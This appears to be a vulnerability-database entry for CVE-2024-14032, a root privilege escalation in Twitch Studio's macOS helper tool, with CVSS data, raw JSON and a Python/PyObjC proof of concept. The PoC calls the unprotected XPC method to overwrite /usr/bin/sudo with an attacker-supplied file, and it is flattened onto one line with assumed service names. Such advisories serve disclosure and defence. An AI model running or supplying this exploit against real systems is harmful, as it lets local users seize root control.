Security Vulnerability Report
中文
CVE-2024-14032 CVSS 7.8 HIGH

CVE-2024-14032

Published: 2026-04-06 16:16:26
Last Modified: 2026-04-14 02:01:13

Description

Twitch Studio version 0.114.8 and prior contain a privilege escalation vulnerability in its privileged helper tool that allows local attackers to execute arbitrary code as root by exploiting an unprotected XPC service. Attackers can invoke the installFromPath:toPath:withReply: method to overwrite system files and privileged binaries, achieving full system compromise. Twitch Studio was discontinued in May 2024.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:twitch:twitch_studio:*:*:*:*:*:*:*:* - VULNERABLE
Twitch Studio <= 0.114.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2024-14032 (Conceptual Python/PyObjC) # This script demonstrates how to interact with the vulnerable XPC service. import Foundation import objc # Define the Mach Service name (Example based on typical helper structures) MACH_SERVICE_NAME = "com.twitch.TwitchStudio.Helper" def exploit_privilege_escalation(): print("[*] Attempting to connect to XPC service: {}".format(MACH_SERVICE_NAME)) # Create a connection to the privileged helper tool connection = Foundation.NSXPCConnection.alloc().initWithMachServiceName_options_( MACH_SERVICE_NAME, 0 ) # Define the interface (Protocol must be inferred or known) # Assuming a protocol 'HelperProtocol' exists with the vulnerable method connection.remoteObjectInterface = Foundation.NSXPCInterface.alloc().initWithProtocol_( objc.protocolNamed("HelperProtocol") ) connection.resume() # Get the remote object proxy remote_object = connection.remoteObjectProxy # Define paths for the attack # Source: A malicious payload controlled by the attacker malicious_source_path = "/tmp/malicious_payload" # Destination: A sensitive system binary to overwrite (e.g., sudo) target_system_path = "/usr/bin/sudo" print("[*] Invoking installFromPath:toPath:withReply: to overwrite {}...".format(target_system_path)) # Invoke the vulnerable method to copy file as root # Method signature: installFromPath:toPath:withReply: try: remote_object.installFromPath_toPath_withReply_( malicious_source_path, target_system_path, lambda success, error: handle_reply(success, error) ) except Exception as e: print("[-] Exploit failed: {}".format(str(e))) finally: # Keep connection alive briefly for the async call Foundation.NSRunLoop.currentRunLoop().runUntilDate_(Foundation.NSDate.dateWithTimeIntervalSinceNow_(2)) connection.invalidate() def handle_reply(success, error): if success: print("[+] Exploit successful! System file overwritten.") else: print("[-] Error returned by helper: {}".format(str(error))) if __name__ == "__main__": exploit_privilege_escalation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-14032", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:26.470", "lastModified": "2026-04-14T02:01:12.537", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Twitch Studio version 0.114.8 and prior contain a privilege escalation vulnerability in its privileged helper tool that allows local attackers to execute arbitrary code as root by exploiting an unprotected XPC service. Attackers can invoke the installFromPath:toPath:withReply: method to overwrite system files and privileged binaries, achieving full system compromise. Twitch Studio was discontinued in May 2024."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:twitch:twitch_studio:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.114.8", "matchCriteriaId": "BB7E9066-4755-432C-BB01-677534A22B47"}]}]}], "references": [{"url": "https://help.twitch.tv/s/article/recommended-software-for-broadcasting", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://help.twitch.tv/s/topic/0TO3a000000kZfYGAU/twitch-studio", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.iru.com/blog/twitch-privileged-helper", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/twitch-studio-launcherhelper-xpc-missing-authorization-to-root-file-write", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}